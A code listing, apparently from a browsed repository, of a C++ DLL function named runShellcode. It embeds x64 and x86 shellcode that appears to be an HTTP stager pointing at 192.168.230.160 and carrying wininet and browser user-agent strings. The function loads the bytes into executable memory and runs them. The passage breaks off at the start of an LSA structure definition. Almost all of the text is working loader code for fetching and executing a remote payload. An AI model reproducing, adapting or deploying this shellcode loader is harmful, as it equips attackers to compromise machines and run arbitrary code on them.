Function runShellcode

TestLoad/dllmain.cpp:6–20

#include "export.hpp"

void runShellcode() {
#ifdef _WIN64
    unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x77\x62\x33\x51\x00\xbe\x54\x9b\xd2\x7c\xfa\x60\x3e\xf5\x66\xf0\x09\xea\x24\x0f\xba\x3f\x08\x24\xf9\x38\x21\xe0\x96\x96\xd8\x89\x1e\x48\x7c\xa1\xf9\xd9\xcc\x90\x0e\x6f\xd5\x45\x57\x5b\xfb\xdb\xa3\x70\x03\xb0\xee\xeb\xd9\x79\x98\x45\x23\xba\x64\x8a\x94\x74\x50\x18\xdc\xc1\x2b\x20\x0d\x12\x0d\xe7\xa8\x97\x83\x2e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x6d\x73\x6e\x20\x4f\x70\x74\x69\x6d\x69\x7a\x65\x64\x49\x45\x38\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\x71\xd2\x43\x20\x55\x08\xd3\x23\x34\xfc\xd2\xd1\xe2\x4f\xec\x22\x44\xc6\x9d\x09\xba\x8b\x26\x94\x39\xfb\xac\x61\xc8\xf8\x04\x70\x46\x24\xda\xb4\x08\x0b\xd2\x41\x5d\x26\xc9\x5c\xdf\xd3\xb4\x5c\x4d\x3a\xa4\x8c\x02\x64\x8c\xfb\xc7\x13\xb4\xb6\xdc\x3a\xef\x24\x38\x22\xb2\x88\x05\xc4\x50\x26\x1d\xb5\x02\x11\x31\xdb\x03\xc1\xf4\xb5\xe7\x8b\x84\x82\xea\xca\xad\xd9\x1e\x3f\xe2\x56\x79\xc7\xd8\x45\x13\xd4\x68\x50\xf9\x5f\x73\x5b\xf2\xb3\x67\x66\xec\x43\xb7\x41\x14\x6b\x0c\xcc\x26\x23\x3f\x86\x3a\xc1\x36\x0e\x9e\x74\xb0\x54\x2b\x4f\xa4\x6f\x75\x9e\xb6\x0b\x57\xa9\xf1\x79\x49\x32\xe5\xf2\x0a\xa9\x6a\x0e\xbe\x15\xd1\x2e\x53\x8d\x29\x3e\xb5\x90\xda\x81\x9c\xfa\x2f\x4c\xd0\x2d\xae\xdb\x13\x1c\xbf\x79\x4a\x6f\x5a\xe9\x62\x4b\x75\xeb\x19\xc8\xb2\x1b\x94\x32\xcb\xab\x62\x24\xf0\x81\x8e\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x33\x30\x2e\x31\x36\x30\x00\x27\xbc\x86\xaa";
#else
    unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x33\x4c\x65\x78\x00\x1e\x2a\x49\x6f\x20\xa4\x24\x44\x23\xc5\x0f\xee\x14\x50\x02\xcd\x9c\x65\x33\xae\x94\xd0\x66\x47\x44\x06\xb2\x4a\xb6\xe0\xf8\x75\xb4\x21\x57\xb8\x8c\x10\xe5\xe3\x1e\xb6\xf6\xab\x3c\x72\xc6\x88\xcc\xe4\x82\xc9\x2d\xd8\x30\x70\x58\x93\x4b\x02\x38\xcb\xd0\x75\x60\x8e\xf7\x25\x37\x08\xcb\x29\x5e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x29\x0d\x0a\x00\xfc\xc9\x44\x0c\xbb\x1e\x52\x72\x6f\x37\xf0\x38\x19\x4f\x76\x23\xef\xcc\x2d\xb2\xed\x0c\x1f\x6b\xc4\xa3\xe3\x1d\x5b\x72\xcc\x44\x57\xbc\x26\x36\x37\x7b\xae\x4b\x30\xed\x07\x07\x0b\x96\xe7\xfe\xbf\xac\x68\xe6\xb5\x4b\x99\x53\x7e\x3f\x9e\x92\x53\xcf\x77\x90\x85\x62\xe5\x36\x90\xe8\x42\xb6\x1b\xee\xed\x22\x81\xb5\x68\x31\x09\xdf\x74\x72\x56\xbb\xb7\xd0\x24\x26\x2c\xd1\x81\x72\x07\x90\xb6\x34\x55\xcc\x78\xd8\x61\x2c\xb5\x70\x50\x08\xb9\xd4\x3a\x89\xbf\xd2\x34\xee\x02\x5d\xf5\xe8\xf8\xd6\x2a\x96\x19\x8a\x7e\x14\x1a\x4e\xbd\x58\xf2\x5c\x6e\xd5\x7e\x08\x1b\x1f\x3d\xd9\xde\xf5\xee\x4e\x80\x1f\xa7\x97\x31\x0c\x34\x6a\xa2\x09\x20\xad\x34\x66\xc4\x6d\x81\x84\x68\x93\x6a\x8c\xc4\xee\xb7\x52\x11\xa0\xb4\x74\xd8\x21\x86\xb8\x4e\x0c\x94\x85\x60\x24\x0a\x67\x20\x8d\x59\x18\x24\x82\xb1\x00\x58\x28\xd0\x78\x15\x35\x4b\x86\x76\x0b\x68\x04\x4b\xf3\xb2\xce\x1f\x0a\x6d\x23\x63\x90\x5e\x10\x14\xab\x67\xe4\x36\x25\xe8\xe6\xc9\x8e\xeb\x22\xfb\x1c\x4d\x9c\x17\x9e\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x33\x30\x2e\x31\x36\x30\x00\x27\xbc\x86\xaa";
#endif

    LPVOID shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, 0x40);

    memcpy(shellcode, buf, sizeof(buf));
    
    void(*func)();
    func = (void(*)())shellcode;
    func();
}

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;